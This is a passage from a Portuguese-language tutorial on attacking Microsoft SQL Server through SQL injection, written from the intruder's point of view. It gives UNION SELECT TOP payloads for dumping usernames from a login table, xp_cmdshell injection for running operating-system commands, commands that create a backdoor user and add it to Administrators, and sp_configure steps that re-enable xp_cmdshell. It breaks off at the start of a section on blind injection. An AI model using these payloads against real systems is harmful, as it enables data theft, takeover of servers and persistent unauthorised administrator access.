texto=6SAOLAMMAH where noticias.id=1000 Bom, mas me diga, qual a utilidade do defacement?Como ja estamos bem afiados a esta altura do campeonato, nao creio que valha a pena mostrar como obter senhas, porem... o limit nao existe em SQL Server.Ao inves de utilizar o limit, vamos usar uma query com top e not exist para explorar o banco de dados.null union select top 1 1,2,user,4,5 from database.login where user not exist (select top 0 user from database.login)O que acabamos de fazer e utilizar o top, que pega a linha x da coluna user, se este resultado nao estiver em outra query semelhante, mas com o x-1.A nossa proxima query seria:null union select top 2 1,2,user,4,5 from database.login where user not exist (select top 1 user from database.login)Como vemos, o limit realmente faz falta, mas nada que um cerebro e algumas outras funcoes nao resolvam. Na verdade, o esquema e bem parecido com o limit, mas muda um pouco...Agora que ja aprendemos a explorar o banco de dados, vamos explorar o resto do sistema. Sim, em um servidor existe mais que um banco de dados...Temos todo um sistema operacional, que a partir de SQL Injection, pode se tornar nosso, ou melhor, podemos tomar conta...Agora que aprendemos como explorar o banco de dados, permita-me ensinar uma falha de projeto do SQL Server, que permite a execucao remota de comandos, os mesmos comandos que se digitaria no prompt de comando.Ou seja, a partir de agora, voce tera poder sobre servidores SQL Servers vulneraveis a SQL. MySQL 2 x 0 SQL ServerNo SQL Server existe uma funcao que executa comandos como se oadministrador estivesse em um prompt de comando, o tal do xp_cmdshell.Supondo que o administrador queira testar a comunicacao, ele pode dar um ping em loopback utilizando:exec master..xp_cmdshell ping localhost;Para o invasor, o esquema muda um pouco; estamos de intrusos no sistema e precisamos construir um query que execute esse xp_cmdshell.Assim, atras de um id, digitamos:exec master..xp_cmdshell ping localhost;E pronto, o servidor da ping em loopback.Para que isso poderia ser util?! Que comandos executo?!Permita-me exemplificar:net user [usuario] [senha] /add {cria um usuario no servidor remoto e permite login por telnet ou por area de trabalho remota}.Se for utilizado em conjunto comnet localgroup Administrators [usuario] /add {adiciona o usuario ao grupo dos administradores}Por padrao, no SQL Server 2005 o xp_cmdshell esta desativado por motivos de seguranca, porem, se quisermos, podemos ativa-lo:exec sp_configure show advanced options,1reconfigureexec sp_configure xp_cmdshell, 1reconfigureLembrando que temos que adequar isso a query para SQL Injection.Blind SQL InjectionAgora que ja aprendemos o basico da SQL e ja temos o minimo de maturidade nesse tipo de tecnica, podemos aprender sobre Blind SQL Injection. Antes, de comecar, eu gostaria de fazer duas consideracoes.A primeira e quanto a origem do nome blind SQL injection. Blind, em ingles, e um adjetivo que significa cego; isto quer dizer que nao usamos os erros comuns para explorar o banco de dados.A segunda, e que Blind SQL e um pouco mais dificil de entender e demorada que a Advanced SQL comum.A Blind SQL surgiu da necessidade de burlar ou bypass um filtro